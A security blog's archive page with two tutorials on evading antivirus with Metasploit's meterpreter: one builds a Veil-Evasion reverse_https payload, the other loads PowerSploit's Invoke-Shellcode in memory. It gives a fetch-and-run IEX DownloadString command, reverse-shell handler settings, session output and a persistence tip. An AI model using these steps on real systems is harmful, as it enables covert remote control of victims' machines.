evasion | ColeSec Security

I am a big fan of using meterpreter as a post compromise payload. It has so many tools that makes all the next steps so much easier. The problem is, every antivirus out there will catch meterpreter. Metasploit comes with a handy obfuscator, but even that always gets caught now.

For a long time, everyone had their tricks to obfuscate meterpreter payloads, but nobody wanted to share for fear of antivirus companies finding out about them. My trick was to generate a raw, shellcode payload. Then use a python script called shellcode2exe that converted the shellcode to an executable file (it used mingw32). When that quit working, I found the Veil Framework. This post will focus on the Veil-Evasion part of the Veil framework.

The authors of Veil took all of the neat obfuscation tricks they could find, and packaged them up into one, easy to use python script.

Setup Your Testbed

The victim machine needs to be any Windows machine. In this example, we’ll be using Windows 7 64-bit. Install an antivirus to see how well it (doesn’t) catch the payload.

The attacker machine should be a machine running Kali Linux. Veil is not installed by default, but there are two easy ways to do it: by running apt-get or simply downloading from the Git repository. Some users have issues with the apt-get method and the git repository will be the most up to date version, so that is my preferred method.

Apt-get method:

# apt-get install veil # cd /usr/share/veil-evasion/setup/ # ./setup.sh

Git method:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git $ cd Veil-Evasion/setup/ $ ./setup.sh

The setup.sh process can take a while. The end result is a Veil-Evasion.py program you can use.

Attack

How do you find a vulnerable host?

This post is strictly about post exploitation and antivirus evasion. Find your own way in to a Windows machine. Once you are there, you should be able to run meterpreter, with or without antivirus being installed

How do you attack that host?

First, use veil to generate the payload. Run the Veil-Evasion.py script from wherever you did your git pull.

Currently there are 40 options for payloads (but the authors frequently/monthly add more). The “list” command will show all the options available.

Different payloads can be used slightly differently. For example, the powershell payloads have the benefit of just being loaded into memory rather than the hard disk as described in a previous blog post. Different versions compiled versions (like the C or C# ones) may or may not be caught by your antivirus of choice (not all will evade antivirus completely), but most likely there will be a couple that work.

In this example, I will generate a payload for #9, or cs/meterpreter/rev_https. The command is “use cs/meterpreter/rev_https” (or just “use 9”)

Finally, I’m going to set the LHOST to the IP address of my Kali machine and then generate the resulting payload. When it asks, I told it to call the payload “colesec”.

Now take the compiled colesec.exe payload and drop it on the victim machine. Before running it though, start up the meterpreter handler in metasploit. Veil makes this really easy by creating a handler file.

# msfconsole -r /usr/share/veil-output/handlers/colesec_handler.rc

Once metasploit loads up, go ahead and run the executable on the victim machine. It should all work!

Note that Veil has more parts to the framework than just Veil-Evasion. Check out some of the other modules, especially Veil-Catapult for payload delivery.

Powershell has recently come into the spotlight as more than just a sysadmin tool, but a great cyber security tool. This was emphasized by many of the popular hacker cons this last year.

One incredibly useful tool is Powersploit. It is a set of powershell scripts put together (and in part written by) Matt Graeber.

In this post, we’re going to use the Invoke-Shellcode script from Powersploit to completely bypass antivirus and load up a meterpreter back to your server. Antivirus never catches it because it never actually hits the hard drive; everything stays in memory. Genius, right?

Setup Your Testbed

The victim machine needs to be any Windows machine. In this example, we’ll be using Windows 7 64-bit. You can even have an antivirus installed, and you will see that it never gets caught.

The victim machine also needs to download the Invoke-Shellcode.ps1 script from somewhere. In the examples below, we’ll just grab them straight from github. This isn’t always possible (or smart), so powersploit is also already available in Kali under /usr/share/powersploit. You can easily set up a temporary web server on port 8000 to download from by using the Python module SimpleHTTPServer:

$ cd /usr/share/powersploit $ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...

And now you can use your Kali box instead.

You can also make sure you have the very latest powersploit scripts by cloning the archive:

$ git clone https://github.com/mattifestation/PowerSploit.git Cloning into 'PowerSploit'... remote: Counting objects: 1555, done. remote: Total 1555 (delta 0), reused 0 (delta 0), pack-reused 1555 Receiving objects: 100% (1555/1555), 5.94 MiB | 2.63 MiB/s, done. Resolving deltas: 100% (743/743), done.

Attack

How do you find a vulnerable host?

Any Windows machine with powershell installed should be vulnerable. You can tell that powershell is installed simply by entering the powershell prompt from the command line.

How do you attack that host?

First, you need to download the script and load it into memory. The trick here is that it never hits the hard drive, so antivirus doesn’t catch anything.

PS > IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")

Note, you shouldn’t see any errors. Also note that if you see the following text: “Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.” – you need to download Invoke–Shellcode instead of Invoke-Shellcode. It seems the author is trying to make a point about downloading code.

Now that Invoke-Shellcode has been loaded, you can optionally find out more about it.

PS > Get-Help Invoke-Shellcode

All of the Powersploit scripts have very helpful Get-Help commands.

Now you need to setup the handler to catch the meterpreter payload. Start up Metasploit and begin your handler:

msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.1.6 msf exploit(handler) > set LPORT 4444 msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:4444/ [*] Starting the payload handler...

Finally, you are ready to use Invoke-Shellcode on the victim:

PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.6 -Lport 4444 -Force

You should have a meterpreter shell on your Kali machine:

msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:4444/ [*] Starting the payload handler... [*] 192.168.1.5:49230 Request received for /INITM... [*] 192.168.1.5:49230 Staging connection for target /INITM received... [*] Patched user-agent at offset 663656... [*] Patched transport at offset 663320... [*] Patched URL at offset 663384... [*] Patched Expiration Timeout at offset 664256... [*] Patched Communication Timeout at offset 664260... [*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:49230) at 2015-03-05 11:35:10 -0500

meterpreter > getuid Server username: testcomp\colesec

As another tip, there is a fantastic post exploit module called post/windows/manage/smart_migrate. You can run it at this point to automatically migrate to another process, after which you can completely close the powershell window and still keep the meterpreter process running. You can even make the process run automatically in your handler setup by adding the command “set AutoRunScript post/windows/manage/smart_migrate”

References:

https://www.pentestgeek.com/2013/09/18/invoke-shellcode/
http://resources.infosecinstitute.com/powershell-toolkit-powersploit/ (great description of other powersploit scripts)
https://www.fishnetsecurity.com/6labs/blog/how-post-ex-persistence-scripting-powersploit-veil (cool tutorial on adding custom payloads and using persistence)

ColeSec Security

All things cyber security

Tag Archives: evasion

Obfuscating Meterpreter Payloads with Veil

Hacking with Powershell, Powersploit, and Invoke-Shellcode